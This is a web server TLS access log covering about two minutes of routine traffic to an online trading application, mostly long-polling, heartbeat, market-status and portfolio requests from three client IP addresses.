[09/Jan/2026:13:15:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936043187 HTTP/1.1" -
[09/Jan/2026:13:15:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936028782 HTTP/1.1" -
[09/Jan/2026:13:16:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:13:16:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:16:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:16:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 316
[09/Jan/2026:13:16:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:13:16:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:16:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936049188 HTTP/1.1" -
[09/Jan/2026:13:16:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936033847 HTTP/1.1" -
[09/Jan/2026:13:16:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:16:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936039047 HTTP/1.1" -
[09/Jan/2026:13:16:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936055186 HTTP/1.1" -
[09/Jan/2026:13:16:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936044122 HTTP/1.1" -
[09/Jan/2026:13:16:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936061198 HTTP/1.1" -
[09/Jan/2026:13:16:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936049269 HTTP/1.1" -
[09/Jan/2026:13:16:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936067186 HTTP/1.1" -
[09/Jan/2026:13:16:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936054456 HTTP/1.1" -
[09/Jan/2026:13:16:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:16:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936073197 HTTP/1.1" -
[09/Jan/2026:13:16:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936059587 HTTP/1.1" -
[09/Jan/2026:13:16:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:16:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:16:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936079197 HTTP/1.1" -
[09/Jan/2026:13:16:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936064649 HTTP/1.1" -
[09/Jan/2026:13:16:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:16:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:16:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:16:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936085189 HTTP/1.1" -
[09/Jan/2026:13:16:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936069775 HTTP/1.1" -
[09/Jan/2026:13:16:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936074930 HTTP/1.1" -
[09/Jan/2026:13:16:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936091191 HTTP/1.1" -
[09/Jan/2026:13:16:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1750
[09/Jan/2026:13:16:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:16:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936080051 HTTP/1.1" -
[09/Jan/2026:13:16:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936097193 HTTP/1.1" -
[09/Jan/2026:13:16:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:16:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1914
[09/Jan/2026:13:16:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936085101 HTTP/1.1" -
[09/Jan/2026:13:16:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:16:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:16:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936103198 HTTP/1.1" -
[09/Jan/2026:13:17:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:17:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:17:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936090162 HTTP/1.1" -
[09/Jan/2026:13:17:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:17:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:17:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1911
[09/Jan/2026:13:17:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:17:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:17:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1911
[09/Jan/2026:13:17:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:17:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:17:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936109191 HTTP/1.1" -
[09/Jan/2026:13:17:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:17:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936095214 HTTP/1.1" -
[09/Jan/2026:13:17:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936115197 HTTP/1.1" -
[09/Jan/2026:13:17:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936100268 HTTP/1.1" -
[09/Jan/2026:13:17:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936121195 HTTP/1.1" -
[09/Jan/2026:13:17:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936105410 HTTP/1.1" -
[09/Jan/2026:13:17:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936110535 HTTP/1.1" -
[09/Jan/2026:13:17:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936127185 HTTP/1.1" -
[09/Jan/2026:13:17:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936115705 HTTP/1.1" -
[09/Jan/2026:13:17:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:17:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936133198 HTTP/1.1" -
[09/Jan/2026:13:17:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:17:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936120828 HTTP/1.1" -
[09/Jan/2026:13:17:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:17:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936139189 HTTP/1.1" -
[09/Jan/2026:13:17:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:17:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936125898 HTTP/1.1" -
[09/Jan/2026:13:17:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:17:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:17:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936145194 HTTP/1.1" -
[09/Jan/2026:13:17:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936130966 HTTP/1.1" -
[09/Jan/2026:13:17:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936151186 HTTP/1.1" -
[09/Jan/2026:13:17:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936136153 HTTP/1.1" -
[09/Jan/2026:13:17:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936157185 HTTP/1.1" -
[09/Jan/2026:13:17:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936141280 HTTP/1.1" -
[09/Jan/2026:13:17:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:17:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:17:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936146453 HTTP/1.1" -
